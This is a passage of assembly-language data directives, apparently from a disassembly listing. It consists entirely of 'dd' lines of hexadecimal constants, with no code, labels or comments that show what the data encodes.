		dd 59117A07h, 5BDF009Ah, 192E8F85h, 0A698A309h,	1B3C5DFEh
		dd 6C9E1EEEh, 2017498Eh, 0DB6E98FEh, 6A53002Dh,	381AD9CFh
		dd 0EB00F29Dh, 44A72AA5h, 3F147152h, 9A0B51BEh,	0F300DCB1h
		dd 0EA6B0163h, 2FDD6D00h
		dd 0A8C98D75h, 988B3FE2h, 8A956080h, 0B66E4DF9h, 0EB9A4600h
		dd 0EF296E1h, 0F79E0032h, 695038B8h, 42002114h,	688E7085h
		dd 0A09193EAh, 6018DBCh, 9AA8314Dh, 501F0842h, 0B3582923h
		dd 0B74AD50h, 0A0320376h, 8F0C1A00h, 0B2606ABFh, 31B3ED71h
		dd 218D0F10h, 0D3C09577h, 0FF305A0Ah, 0C1E7DA00h, 33A5EF69h
		dd 0CB12009Fh, 0B98DAD03h, 3400F1E4h, 8135E6FDh, 2895F9h
		dd 4DA93B9Eh, 274363C9h, 0A002E90h, 1C117CF2h, 14DDD135h
		dd 0AC4D4756h, 5CD6BF04h, 0A008C157h, 7AF3FCBAh, 2E75E005h
		dd 4402D6Dh, 0B2F5373Eh, 3BD6FA66h, 0FCCCADh, 54F40B93h
		dd 131930A1h, 0DCA69100h, 0AD0F3DD8h, 0BBD90055h, 0C7520112h
		dd 8A007811h, 13B11BFDh, 78C7F96h, 1198371h, 33EA8063h
		dd 6AB85F62h, 61AA8200h, 1D079C69h, 535203F6h, 197BF910h
		dd 1C4E6B90h, 816D100h,	2164F8CBh, 0E8141EECh, 36028071h
		dd 2B056395h, 2F59F600h, 0F0740632h, 54A93BD6h,	0AB7CAD80h
		dd 0FC4ADC20h, 0C64F1800h, 34E7A063h, 19A2126Dh, 52861C5Ch
		dd 0FA240013h, 8A0E5ED0h, 0A3C43Ch, 0C926A090h,	94B9E04h
		dd 7A133F2h, 80820404h,	593BF42Dh, 0F1033EEEh, 0E606EA9Eh
		dd 0B2C2C96Eh, 0E47DF840h, 24D0E3EBh, 0B9E30348h, 0CE7B42DEh
		dd 0E9EEC380h, 87490A16h, 3EC14400h, 13A492h, 3A55665Fh
		dd 0E1F0DD05h, 51CCA830h, 0AC8F224h, 4074B483h,	6F6B00ECh
		dd 0EC3FD594h, 2F1EACA0h, 0B576A1C0h, 3F8A3EF4h, 31E09B0Dh
		dd 0DD0A8064h, 0B0D07401h, 0BC8D1BC0h, 51A11480h, 6407ED3Dh
		dd 0D0351D00h, 9FF6B103h, 74993F3Ch, 852E1680h,	846BE0EFh
		dd 0ED0730FCh, 86635397h, 0A7460DC0h, 0F0C1001Ah, 5BBE9257h
		dd 31073DE7h, 8F7AECE9h, 2CB561D0h, 1C9D7B78h, 41059A32h
		dd 8746F630h, 1959D4B6h, 0BDA7F101h, 0F23D6050h, 7CC2A4D8h
		dd 815F01BAh, 9B6EE2EAh, 1D80E022h, 4174BD30h, 0AAC191h
		dd 0ECB040CBh, 87885AFh, 4C83A026h, 3C078D13h, 2050BF4Ah
		dd 1C53440h, 9A5C6DDh, 80E79F60h, 0F3EE5F59h, 0CAFF95h
		dd 0B57E5413h, 41DFBD3Ch, 0A9A27300h, 27C581CEh, 1DD0F36h
		dd 80B8336Ah, 9601D36Bh, 0B0A1B2Dh, 5CECAA47h, 0E19144Ah
		dd 0F000C873h, 7101A639h, 981DF377h, 0D900DE12h, 0E023A7B8h
		dd 728A0352h, 6079DCCFh, 7E4364B8h, 2E008571h, 51106E44h
		dd 368BA55h, 0FAED614h,	24F88C5Eh, 9CA08D31h, 0A10038A9h
		dd 0EC526998h, 6D9FC3h,	448F2D5Ah, 0FE9B31Fh, 0DBF15902h
		dd 0F61A6F6h, 62D58081h, 0A28040D6h, 89000198h,	6DC5A13Ah
		dd 342D05h, 77875F1Ah, 0C9500D9Ah, 4070A700h, 0B0BD522Fh
		dd 0D2F7003Fh, 6BE1F85Bh, 4900AC3Ch, 0D174341Ah, 0C64896h
		dd 9B5BA073h, 8431E3CAh, 0ABACEC09h, 0F1CD006Fh, 0C0DE5860h
		dd 0CB24D0C0h, 5500727Dh, 0E4F9CEECh, 389B048Dh, 0B404449Dh
		dd 90CF39FFh, 0EABA9770h, 0FEE86A00h, 871AE346h, 941D0031h
		dd 0AF61F8E2h, 34004ABFh, 746D3BBCh, 1FD5EA38h,	0A4E02677h
		dd 0F56202CCh, 8C4063C4h, 8409ECBDh, 2B127DB4h,	0C500F5ACh
		dd 294386CFh, 0FAC3F300h, 0EF9EDEC5h, 580A0C5Dh, 0E81823FDh
		dd 772AF700h, 36663FAFh, 8EBF1374h, 0CD704A03h,	534707FCh
		dd 12EBB0F6h, 0C7135B84h, 4407071h, 0A19FCE7h, 6B6724FDh
		dd 0B2EC010Ch, 0D9FB470Dh, 1CA0CF99h, 5C1E94A8h, 15408A2Dh
		dd 28493DE8h, 12F328FCh, 48080098h, 0F090DF1Ah,	9C001FC2h
		dd 58F15093h, 1D6076B2h, 8133F764h, 51BDD88Bh, 814A8084h
		dd 2E7078E8h, 7770294h,	589033C2h, 5A47D7C0h, 0C5AFCA05h
		dd 0D8013618h, 9CBA4643h, 867090F7h, 2D15008Ch,	0BCCC2CCAh
		dd 0EC0061A7h, 0EE985AADh, 0E04A5773h, 0AB5900F1h, 0AA8D25FEh
		dd 1600B1B6h, 28786224h, 77AA5h, 1894F692h, 7491324Ah
		dd 3824BB73h, 5F40983Bh, 0E60C42EBh, 1D027DDDh,	1E328AAh
		dd 254158BDh, 0C75FF0D2h, 4BFFD500h, 188DFA9Fh,	912402CFh
		dd 0D496E845h, 70009D8Bh, 1D7154D5h, 53305F00h,	0F214A24Ch
		dd 9C1C0743h, 0E00665FEh, 7EDCD0A1h, 69D89100h,	0BD7CD1E9h
		dd 0D55601AFh, 37C452B8h, 8AE0FC97h, 7C95A03Fh,	80433A3Fh
		dd 862DA576h, 0AC4657h,	0C442C7F0h, 967BF504h, 48E3B400h
		dd 2982FE38h, 56071D36h, 223EC0E6h, 329731E8h, 13811005h
		dd 8B10E7D4h, 7500778Eh, 0CEED7D46h, 0D3AB35h, 0FD672EB1h
		dd 3E4950DBh, 0C00A6200h, 4FF398D0h, 9E7C11h, 85636993h
		dd 0E02C8D6Bh, 0C83B2405h, 64C082BEh, 89F907h, 4A8BB860h
		dd 0E7906F62h, 8F746600h, 83485FAEh, 5A1A1652h,	45EC0184h
		dd 4065A091h, 0A97A9C0Ch, 86C1C30h, 3095CC6h, 0C5E1E58Fh
		dd 57B0B862h, 3AFA7D49h, 7A15FB00h, 0A4A2E011h,	6E6400CFh
		dd 4650EAF2h, 0D30007B6h, 65DA4101h, 828CFBh, 37993A5Fh
		dd 0C60D4D03h, 19F8D349h, 2B304551h, 380D0903h,	20147005h
		dd 1028BE0h, 6DD2B1E6h,	0E9B01153h, 0EE2AF881h,	14D4A907h
		dd 45A07679h, 0C7FB4989h, 41C53E40h, 40831BCDh,	0D415E48Ch
		dd 7A4A5800h, 41992A59h, 0C131503h, 0B30444D0h,	7DB07B9h
		dd 7B40208Fh, 0C0229311h, 0A2462C20h, 6900E97Fh, 0B609C937h
		dd 3BE16Fh, 0ECC5BE2Ah,	0D9DF1916h, 6149D503h, 0F1CB9A7Ah
		dd 69F43630h, 7C74096Eh, 0C203DE9Bh, 0E4F0B134h, 148080Bh
		dd 43C0678h, 0B07E85h, 93BFBE8Dh, 0B38E2583h, 0FDAA7403h
		dd 0AD7EEADEh, 0C2F54800h, 494DCCEFh, 0AB070070h, 0B02FA01Ch
		dd 0B6ADD51Bh, 0FA1319C0h, 1404967Dh, 0C8C520C6h, 27EEDD12h
		dd 17B5501Ch, 10C08614h, 0BC101395h, 7FA60FB6h,	0EF400845h
		dd 9BD03E56h, 0ADF25000h, 520AAF17h, 4E4056Dh, 40DF6974h
		dd 0CDE130A4h, 0DC0509C1h, 0EED4AF27h, 0CF6536C1h, 56E7CCh
		dd 57A93A79h, 0EC18C84Bh, 530D2F1Eh, 0D0C7F300h, 45C419h
		dd 0B7ACB911h, 0F7DFA78Eh, 2EA9580Fh, 0E1818057h, 9AFFBDh
		dd 0DE5E369Ch, 0A23E327Dh, 0D007BB8h, 9192F428h, 0C5AADDh
		dd 1069ED8Eh, 672BE1CBh, 5979C305h, 43EE493h, 470458E0h
		dd 0D7FA10C3h, 0B1800DCh, 60FE8219h, 5700B33Bh,	40D8E474h
		dd 7FF83FEFh, 2DE31FBh,	11852828h, 1A0056DFh, 530042E8h
		dd 4DDAE2B1h, 3CA94067h, 0F711FCh, 0E595EAB5h, 316A1F2Ch
		dd 37E14600h, 0A0208308h, 62D900A7h, 9EDD4E5Eh,	850FAECAh
		dd 605887CFh, 3ED74BE8h, 0AFF0AAh, 78041BA2h, 3098FA7Ch
		dd 3474270Fh, 805BCB3Ah, 0E61B2468h, 0C418009Dh, 0E3543515h
		dd 0AC73931Ch, 0A1607D01h, 14ED1648h, 4A452087h, 2A5E7095h
		dd 11000D59h, 312884EEh, 5B32253Ah, 3EDC0334h, 0FFC58Fh
		dd 0EC1D298Bh, 10D65200h, 0F92F55EDh, 70FB007Fh, 76484E35h
		dd 5D02F84Ah, 5654154Dh, 5180FD25h, 449E4938h, 66FD4C0Eh
		dd 7A7EE037h, 70AEE6A3h, 79AF0060h, 0B9A92805h,	0CC389667h
		dd 5A970012h, 0FC3865C0h, 5CDD0F92h, 0CA20D19Bh, 99C74030h
		dd 0E1218200h, 34E4DE7Fh, 4DBD0F1Ch, 2C4E61C5h,	5CE019EFh
		dd 7F6008E5h, 19975930h, 97216h, 12D8A137h, 7E03CDE3h
		dd 3A631918h, 3C0E4D11h, 7D1CB748h, 0C06B1EA1h,	0B2EDEB3Ch
		dd 0A800F252h, 0ABE264ACh, 97A4C7h, 39438811h, 9F09D6EEh
		dd 0B3A2EA03h, 0C8CF5D4Eh, 0DC83D0h, 4F92567Fh,	886B2A2Bh
		dd 0E397A500h, 8406D70Ah, 26CB00B2h, 3DD99902h,	0E948FDEDh
		dd 952B1FD7h, 0AA48Bh
		dd 60FA042Fh, 142300F0h, 4EF230F9h, 6090E3F1h, 9B7FA10Bh
		dd 0CFF2803Dh, 7849CDBh, 37429313h, 0FF2150CBh,	20F9C908h
		dd 0C200CE14h, 0F6D26E27h, 616FE8A8h, 2A7A07Ch,	0F921FC71h
		dd 20127A30h, 3B2AF2h, 0E8297DA3h, 303A6423h, 0D5D8DA18h
		dd 56A642h, 17B1F324h, 4CA351B5h, 7667B12h, 95C9B845h
		dd 2F0A8840h, 3CCFC6CEh, 6600747Eh, 92C88CBEh, 46480F6Dh
		dd 3037004Ch, 29DEEDE7h, 0FFEC7Dh, 6999B551h, 0A5A095B2h
		dd 0D8004D70h, 0DBE1797Fh, 1FC1AEh, 0E86B719Bh,	0BE93672h
		dd 0C33FB00h, 8B62B33Fh, 0FFA30012h, 2A0D777Ah,	92F0B65Dh
		dd 0BE1FE471h, 0FC465881h, 801736h, 0D4F91ED7h,	2DD978CDh
		dd 18C0B27Ah, 3AAA964Ah, 663100BDh, 0FE7CE1Ch, 0D8004B41h
		dd 63B06452h, 3B368Dh, 0FAFE2220h, 2FA14C29h, 0ABC03000h
		dd 32B3529Ch, 581500CDh, 92551D57h, 6500B7D2h, 0EB59E868h
		dd 0CDBC129h, 0A61FB9Bh, 543A0868h, 0E5EF0044h,	2649933h
		dd 50ACA8F7h, 877784E9h, 0D000FC92h, 0C60C69CDh, 1426E7A9h
		dd 0BC36BB48h, 0D93CC700h, 0E31E7382h, 9B05117Bh, 7ACB26B2h
		dd 0AF43F400h, 12F18CC0h, 4928A5DFh, 1C18382Ch,	7648FB63h
		dd 0E59E0014h, 0A03D378Fh, 0A8A47DF7h, 0CB6C6D0h, 4BBF3250h
		dd 7304E891h, 7BD33F89h, 44042890h, 0EB5B3DF0h,	9F57BA00h
		dd 8C9E547Eh, 987D2A00h, 0C22FA93Dh, 722902D8h,	0E96C65D3h
		dd 1474B440h, 627A4400h, 0A17B4E6Dh, 81260430h,	923DDFE8h
		dd 0B8832CD0h, 0D1D87F69h, 6600BC34h, 5D233A7Ah, 16CDD5Eh
		dd 20260E93h, 20AD87F2h, 9D016B04h, 34A1F01Ch, 0C457EA5Eh
		dd 0E5E8D1C0h, 609B2E86h, 1B640143h, 0F84C998Fh, 53241A96h
		dd 0D800E495h, 1524BB0Dh, 9E8500ECh, 0A87CC857h, 0FC927384h
		dd 3803AB73h, 0A28A4845h, 0F179C97Dh, 50DCA6FDh, 0A39A0F86h
		dd 0E640242Ah, 0F642B70Eh, 18925F01h, 8BADB268h, 4479A88Fh
		dd 0AABFA078h, 81C01676h, 30CE123Dh, 7CECA069h,	0D0C009EFh
		dd 0C4024F23h, 21127D45h, 6F551AD0h, 0E6CF9880h, 469C9BB0h
		dd 0AA09CD00h, 93E75FE9h, 0DA481E39h, 0C379C002h, 0EAB3707Bh
		dd 56A81A25h, 0AAA0009Ch, 0A52A6531h, 16323700h, 0AB59D546h
		dd 231A0006h, 0F64247Ah, 8005583h, 0D36E7398h, 186F11Fh
		dd 0AE658BD5h, 4867E970h, 830053C8h, 4A8CF877h,	7566EB1h
		dd 7DB43DEFh, 0BF803A49h, 878394C8h, 90D04F10h,	7CB10731h
		dd 78146540h, 238907Bh,	0A32D43F0h, 50663F7Fh, 0A2007EF0h
		dd 86414869h, 0FE0AF74h, 0A0779A70h, 0C20098B4h, 54FA3236h
		dd 44005783h, 4ED809A4h, 0AC4221h, 46D2FF1Dh, 308B53F2h
		dd 0C7A8EBF9h, 30023F6h, 0EF1C71D6h, 0FA2090A0h, 0D9C015Ah
		dd 301E2664h, 91A4226Fh, 0FFC009A0h, 0A560001Bh, 35CEC8Eh
		dd 73950A7h, 129D9D09h,	0CC406E8h, 7A0441CAh, 89819754h
		dd 0BD090480h, 90E10CA1h, 0E620776Eh, 0CE244B00h, 648B811Dh
		dd 93800110h, 0D852BE09h, 8C904004h, 0F4A4CE3Dh, 1D20D918h
		dd 1EBE6118h, 7A71B63Bh, 0AAF7160h, 0BF004DF3h,	0DD8923EBh
		dd 2A96F4h, 0E252CB4Bh,	0C9EAD631h, 610E1700h, 986D11CFh
		dd 0E66B09D9h, 58236A53h, 9BCB4372h, 0CB9D83A0h, 407013Ch
		dd 761A6584h, 0EF0AECC0h, 70BAC9B9h, 0BF54EC80h, 0BEE8369Ah
		dd 3F0FA700h, 501F3466h, 8C7C0189h, 3E924DC1h, 0BE39CC6Bh
		dd 730E58F8h, 5EA68D3Fh, 9422AE16h, 2FCC60CBh, 46C80B43h
		dd 16002DB0h, 49E66650h, 80FCD901h, 13819CB6h, 0BA57D8F3h
		dd 40324CF0h, 98F3F91Eh, 8373AE04h, 85926414h, 0CB40018Ch
		dd 8244B2ABh, 74FC1080h, 0D6DD2B2Dh, 888D2E00h,	32A2C3C8h
		dd 655F001Ch, 0EFF3BB0Fh, 6A00E6DAh, 26092FFFh,	0B736D44h
		dd 0CAEE3711h, 0A72027h, 3389D6ADh, 0E928217Dh,	0F20FFF92h
		dd 763FEBCh, 8540E6CDh,	7279712h, 0B761D91Ch, 1ED840E7h
		dd 0E83A7120h, 4400735Eh, 69535AB0h, 73A914FDh,	2CCD3A2Bh
		dd 9BB93600h, 0D4027AB5h, 56474F18h, 7499111h, 0BE48F0DAh
		dd 92935039h, 20E36B11h, 5E021DC8h, 5ACD2E46h, 841C4810h
		dd 228B2404h, 4CA40902h, 50ACCC20h, 0EE4AB598h,	0E18E4000h
		dd 0C86F201h, 5C930A02h, 7F00FC29h, 274757BFh, 0C08098C9h
		dd 0D18A3B19h, 78C048C8h, 34FF4959h, 498E73D5h,	170080EAh
		dd 2E696ED8h, 0C3005578h, 80115E02h, 7DC128D3h,	993F2A3h
		dd 957BADCEh, 0D149A890h, 0A52CCC01h, 0A8536A14h, 0BF881462h
		dd 0B8BD6580h, 1D2B239Dh, 5B8A05h, 0CC3872A3h, 0D8007FB6h
		dd 0BDB048C6h, 1C649A8Ch, 80CED9DDh, 0D3431523h, 51001846h
		dd 4B2F7ED4h, 96A3F9h, 0F65931D0h, 85688990h, 0F72750C0h
		dd 0A874ABh, 84219916h,	0E2C1F951h, 10A1650Bh, 0ADB8210Bh
		dd 64486A18h, 0F47A00C6h, 65821AF1h, 0A0006138h, 8D4C2D7Dh
		dd 782362h, 255966B8h, 5BCA7173h, 95ED2A01h, 50086DE8h
		dd 886030h, 71A3DBC4h, 9B5A9468h, 2A21C91Dh, 51417D4Dh
		dd 0D5994880h, 97EE4AE3h, 9019A72Ch, 7281B500h,	0CA4B10h
		dd 0F414CCCFh, 9FB3B9FAh, 0AAA8BA05h, 38D0D02Fh, 29AC48h
		dd 0A295BDF7h, 84269455h, 0FBCC7C00h, 814FA968h, 47DD00ADh
		dd 4438320Ah, 0D817ABD3h, 8862CA17h, 7B003EFEh,	29A79932h
		dd 255EE7Dh, 0ACECDFE2h, 0C4506C2Fh, 5E172CA0h,	5FF49954h
		dd 0D860C201h, 494BBC3Eh, 500C8080h, 196EA212h,	22018C7Fh
		dd 6979BBC3h, 3850379Bh, 233A96B9h, 0E301DEECh,	0F11CF92Eh
		dd 80008822h, 0C8AE02D2h, 852CEA1Bh, 3000C529h,	3C3B64B1h
		dd 0A249884h, 0C3C221B3h, 403A1ECCh, 0EEC4D77Ah, 32761B3Bh
		dd 1525D100h, 7638458h,	0DBCD0755h, 4330A7ACh, 70A10EADh
		dd 5F60D449h, 8C751709h, 0AF744137h, 3ECC3AD4h,	0BB80D59Bh
		dd 80A23D48h, 7F26961Eh, 7B0578C0h, 9F00C964h, 4FC8E05Fh
		dd 0FD600259h, 4BA92F36h, 0D0002058h, 0CFBA9814h, 3BB92DA2h
		dd 0EF00E9E4h, 0A3D9DE9Ch, 0A0009255h, 0F1020C6Dh, 0CD649BCh
		dd 0D0BD278h, 0BB302CD8h, 19E970C6h, 0AAB41FEBh, 8BEA02C8h
		dd 99607663h, 5D06FB50h, 3F1844E0h, 9D2C32C0h, 42503E29h
		dd 99A55700h, 44CF841Dh, 0A16B0E29h, 4F007AC5h,	0CD20070Ah
		dd 53E9B51Ch, 183200F9h, 277B95Ch, 43A50112h, 72C37BC9h
		dd 872820E5h, 21A0DB00h, 99EB2027h, 1B200DFh, 1BA2AD47h
		dd 3272764Bh, 400FE71h,	8B10A079h, 27F72E26h, 1C002846h
		dd 6C258256h, 0CAD6F404h, 0D0C18B2Fh, 0DBDD2CA7h, 3DA070h
		dd 0C6DDE713h, 0CF8549BEh, 42A74000h, 67279CF0h, 0C5C30711h
		dd 97BD7BA6h, 0D1A0A159h, 0D0E5F99Dh, 87009F29h, 1C2C3540h
		dd 58611914h, 0F302CE12h, 59D265C9h, 8FA08AC3h,	0A500CDE3h
		dd 1473821Ch, 0BCDD22h,	673452EEh, 0D5C2DA24h, 7C0378B2h
		dd 0BF215C5Fh, 0D0F7E3D9h, 0B8756Ah, 0B29CAB7Ah, 0A718FEFh
		dd 84646700h, 79D5AE2Fh, 0D1E20087h, 8F22BEF9h,	0E91CC3F0h
		dd 21F14226h, 4ECCAC60h, 91DC3A0Eh, 0ED869B09h,	0F5007958h
		dd 0AEFA8E2Fh, 0FBF06AF2h, 40E3A0DBh, 493903C5h, 0C6D7EFFDh
		dd 146FE800h, 61CE32C1h, 1B9A0F81h, 2681418Eh, 0C9B77DC4h
		dd 0A06FD429h, 836BB51Dh, 0C096B2CFh, 170FE09Ch, 1892425h
		dd 84A0194h, 70BF5E3Fh,	0E5006381h, 0D507C386h,	42FC9Eh
		dd 0EE6FD8F3h, 5902DBBh, 6B75B500h, 6892EC61h, 13930009h
		dd 14AD202Bh, 690E707Dh
		dd 0CEE7E289h, 0C3309833h, 12B7322h, 0F8F519Ah,	0FC2650C6h
		dd 9D0719B1h, 738E405h,	80002435h, 341BC72Bh, 0B74F0422h
		dd 0C07155E9h, 130A036Ch, 7BB4AA03h, 0F02B4D0Ch, 0E8F2FEh
		dd 95F56A08h, 166CD919h, 915EC10Eh, 0C5D6C0B5h,	0CB9B23h
		dd 86BDDE42h, 0F039D997h, 543A7F00h, 78CDE809h,	0F487038h
		dd 329CC702h, 0D5304017h, 9456FA43h, 83985890h,	74C9F100h
		dd 5D683FF4h, 734A0706h, 0D1DB1B60h, 0E855D580h, 9900489Bh
		dd 1097F2EAh, 1EEC55Bh,	32C2E108h, 0EC51947Bh, 0FA305799h
		dd 0EF5FD870h, 4F5E00E3h, 6CE50FBh, 0AC004A39h,	7805FCB5h
		dd 13F1B022h, 431DAEEBh, 61A2BCC0h, 0B463C780h,	0D25E6A00h
		dd 149525D3h, 0DD921828h, 4AA4D81Ch, 8FFC521h, 0FD0F03A0h
		dd 0B088E76Eh, 42EB7E70h, 288D0046h, 480C34BFh,	0C77157D7h
		dd 0CC049100h, 1E40C137h, 0DDF2308Bh, 627B4558h, 0E56F2D00h
		dd 7ADB882Eh, 67C80054h, 931C6B43h, 1300E2EAh, 0BE8F395Eh
		dd 11D84EEh, 0A070C585h, 0E8603B6Ah, 0E600901Ch, 3CF44A23h
		dd 0EFC8C03h, 0A417AC94h, 88C3E420h, 6201DF31h,	20013541h
		dd 96C870B1h, 0B25001Dh, 0D2DA4890h, 9500282Ah,	0E38E53C6h
		dd 9D4C27h, 1D3E2EECh, 64DFCD51h, 58EB3805h, 97C0B341h
		dd 19779DCh, 98F0E8D2h,	0D4FE643Eh, 6A00A566h, 106EDACAh
		dd 1779481h, 8A8F1D59h,	7426EE36h, 40D638C4h, 437CC440h
		dd 12E08444h, 6C54E7h, 87E05B0h, 57009613h, 65D730B4h
		dd 5995EFh, 67DD3BD8h, 0BDBE282Fh, 1660D90Fh, 0D79E67F6h
		dd 0AA30EC77h, 0B7B20B5h, 56A2FFAFh, 0B0C0D862h, 6E05187Eh
		dd 0E78BE1Dh, 19A11480h, 0B5FB0FB3h, 72C05FB0h,	6ED48E3h
		dd 0F11F9D00h, 0F01C9CC3h, 108900DAh, 7B9567E4h, 880564E6h
		dd 87FDE34Ah, 0DB250C00h, 7474CAC2h, 0E57C00DCh, 9212515Ah
		dd 0D0EC90CBh, 730EFE03h, 0D80FA93Ch, 0E5A32Ah,	6EAAF60Bh
		dd 0CACBD5A2h, 6961FA00h, 0BB06854Ah, 0CC775C44h, 7EBD7801h
		dd 0BC54D6BCh, 7F5500D0h, 0A5EE84D9h, 42F700CBh, 0B0303612h
		dd 7800C704h, 0D5A08FCh, 1E3FEF79h, 4246DBA1h, 0E87EA5F0h
		dd 0E0CE74E9h, 849461FDh, 4DFFCA00h, 62DC54DBh,	0C47861F2h
		dd 5AAD8940h, 54F078CEh, 0AF180318h, 24C4404Dh,	66B1238h
		dd 216F97D4h, 1CA125F2h, 0D05080FEh, 0ED94FB58h, 0ED90079h
		dd 9BC68137h, 4700F128h, 59F83FE1h, 180B5CDEh, 48E20CFAh
		dd 0E618C333h, 8E596AD8h, 0F1D01803h, 1C2116Dh,	3BA22603h
		dd 0A0CBF95Fh, 7DFDB931h, 2EFC041Ch, 80AA70F0h,	0C5EEE388h
		dd 73396660h, 34C0AD1h,	58426FCAh, 825A712h, 23F08F3Bh
		dd 0BB9B0AD9h, 32B298F2h, 0F17B185Ch, 0A0D54178h, 0BF848C00h
		dd 5AEC412Ch, 0BCF90186h, 90CEE032h, 1E808114h,	0A358A9C5h
		dd 6F607880h, 0A546956Bh, 0B900449Eh, 0D2962417h, 0AD070C0Eh
		dd 55082623h, 18005C92h, 50BE24FFh, 0D9E13Ch, 0D6C20A14h
		dd 0D3ECC443h, 0E06A9815h, 623400E8h, 0FB214522h, 1377D1Eh
		dd 5F388DC0h, 873AFA69h, 27DF63D9h, 0AF1AA570h,	0B097072Eh
		dd 30FAE5EFh, 0E7D4F3D2h, 3D26E618h, 606731h, 0F587DD03h
		dd 0EED13B39h, 4B9C9500h, 0C7A2864Eh, 0D0BC0158h, 967D409Dh
		dd 1907D72h, 327539DDh,	0C4C88E5Eh, 90F501EDh, 1BFBB6F8h
		dd 0A2C8E0D1h, 4CF084A8h, 167E5D3Ah, 34872B81h,	6A70A6C0h
		dd 498AC96h, 0D2EB2414h, 2C8763F6h, 831721h, 86414F85h
		dd 8403AB6Bh, 6A447C25h, 249900D8h, 0CB42821Bh,	4A005B7Dh
		dd 0B121F20Dh, 145E5F5h, 8877A5C1h, 807F6033h, 61E1D989h
		dd 440F78Eh, 0DC782832h, 6D5881E3h, 0D6944092h,	0FD713AF9h
		dd 0D4FB6000h, 0F84827F6h, 3E7AF8DBh, 0BE04C5A3h, 88820E79h
		dd 0EC0004C0h, 2A5A0698h, 3A639E85h, 0D33B9E2h,	98D8A721h
		dd 3D0089FDh, 0DC28EC82h, 2E1F8Ch, 0DABBB9D8h, 0FD391E3Eh
		dd 82A35E09h, 66E420C3h, 39B84E45h, 602AE6DAh, 2EC40AC8h
		dd 81C7E58h, 9C22083Dh,	2A605906h, 78208D9Fh, 3BE215DBh
		dd 9900807Eh, 78CBAC42h, 0FB98461Dh, 2447653Ah,	0B080F0A8h
		dd 0A979AF0Ah, 88890952h, 0D010FAD0h, 730FE7B8h, 0C0206F6Bh
		dd 0C58A604Ah, 344BF954h, 305944C4h, 0C4D9B15h,	82015F6Ch
		dd 770805B0h, 8A4A6333h, 867CD7E6h, 7052B98Eh, 34CBF85Ch
		dd 881F8E8h, 2E1D376h, 23C71080h, 0C5D0EE46h, 360057E4h
		dd 28BE4CBCh, 1E77814Bh, 808BB612h, 0D503D7D3h,	4007D98h
		dd 5FEB509Fh, 7AAC2DBFh, 3F5479BEh, 4F3A2BA4h, 2053C418h
		dd 0AC0B2AEDh, 80783849h, 3341C639h, 0FEFD03BDh, 5F8CF81Eh
		dd 620A6008h, 0FC467611h, 0D8F4A600h, 52961EFAh, 67006473h
		dd 8B5676DCh, 1EE435Fh,	5D5550A2h, 0EAF0703Ah, 6BE34B00h
		dd 48B31658h, 41840CC6h, 80E14608h, 6B9B2E20h, 0F82127Eh
		dd 897BF8F0h, 11343341h, 9CF1F5ADh, 0F51F2349h,	7885438Ch
		dd 0EB5D4022h, 55E721C0h, 0CF476F16h, 0B083FA38h, 2100424Ah
		dd 37C18430h, 1A087CBh,	442FD3A7h, 0EC6AA6h, 0C17C05h
		dd 5BA2D9BBh, 55BCDF14h, 40EF7619h, 0C03ECB50h,	91E27033h
		dd 0B299A206h, 0F10C11Fh, 0DF9A6B88h, 0BC439380h, 6F00CB35h
		dd 0C9AFFCD9h, 1687D361h, 662F46h, 5189C867h, 0F00B01Dh
		dd 28E0CD0Eh, 0FD1974h,	0D9477DE5h, 6BEF6761h, 0CBC11500h
		dd 2399CE7h, 344B005Ah,	0EC86339Dh, 0B1001BF1h,	0CA114CC1h
		dd 0B52FAFh, 21E62A59h,	1851BC6Eh, 0EA00BB79h, 0F67EA8FFh
		dd 81875Ah, 0D690BE3h, 3C520C66h, 0F977C4E4h, 98F16C00h
		dd 0EC261ABCh, 0F72F00E1h, 0D6D0557Fh, 0CF001311h, 66B86CA2h
		dd 54EBF2h, 21234B3Bh, 0DB0B1FD5h, 0E773E900h, 0DDC2D42Eh
		dd 65801F3h, 0D059D98Eh, 18422014h, 8D4A4500h, 3D6B11C8h
		dd 400D003Fh, 611DC315h, 1438C21Eh, 0A10075E6h,	0D342E9E7h
		dd 75092ACh, 0C7063927h, 71955014h, 0E918E615h,	0C228B85Ah
		dd 1CB0E8FAh, 3665D3Fh,	14725B09h, 0EB601FC8h, 0D45758C0h
		dd 723DAAF2h, 0A93A038Fh, 0ABEDC6Ch, 0FB4E4EF7h, 0D0C50Eh
		dd 72279EA2h, 0E01743Bh, 0A7C4315h, 5796B8Ch, 3D2B5103h
		dd 0C1733957h, 1930CB5Eh, 0FB320070h, 0E1277E6Dh, 971EE8F5h
		dd 0EFC12F2Ch, 6445AAB5h, 18C6BBF0h, 0F1EA0E47h, 6100ABC9h
		dd 58FF9BC5h, 0CCFA68DFh, 0A821DC08h, 9F61F400h, 0E75852Fh
		dd 320B01AFh, 1CF66736h, 148040E0h, 0C400063Dh,	0E21BB81Dh
		dd 0FF9FC44h, 86C69793h, 0D0CD98DEh, 0B9000A3Ch, 7019E9DCh
		dd 0F4DE391h, 95B86918h, 0EB1CF443h, 6B065116h,	65A91A01h
		dd 1D2BB99Ah, 210418A0h, 850073ACh, 0AF16675Dh,	1FBF0162h
		dd 0A2EED50h, 94695Bh, 0A34409C2h, 2A0F38F2h, 8781BEA2h
		dd 0C6C364BCh, 0CB6988D5h, 0EAC7007Bh, 4433D67h, 0C201153Fh
		dd 506A354Bh, 0FC50D4BBh, 2F3A89Ah, 4A29B351h, 0BF00E28Ah
		dd 0BA74B5h, 0F04CE115h, 0C73952E8h, 727B6D00h,	0A8AC21AEh
		dd 0E16A039Bh, 0F665D6E9h, 209C4E92h, 1502123h,	5E64EE86h
		dd 343424A6h, 0B00155E4h, 0C6F58ABFh, 898A297h,	0F2FBF16Bh
		dd 2CB5502h, 48BE6828h,	0A426C128h, 6BFC01ACh, 0EA49FE44h
		dd 202EF902h, 0F43A208h, 0F861B002h, 0B230D79Bh, 0B9AF80C3h
		dd 26D66102h, 60102129h, 24BDB13Ah, 8668F654h, 712E1CB8h
		dd 66A0E000h, 0A7D74628h, 63C00030h, 6B230D88h,	0B51EE3B1h
		dd 0E1CF10E5h, 5004E768h
		dd 571D0E81h, 12C491F8h, 61F5E994h, 0F485720Ch,	448C9DA9h
		dd 6200AB05h, 6C515885h, 1D43BD3h, 0B206436Ah, 0DE0582EAh
		dd 0C8064EC3h, 0ECBB44FEh, 32740338h, 271C8C2Eh, 674E4900h
		dd 5C3904DDh, 25633E6Ch, 0DC291880h, 0BC772331h, 0A0A75413h
		dd 23E02014h, 264200EFh, 2943B8Eh, 21B66086h, 0D52CA509h
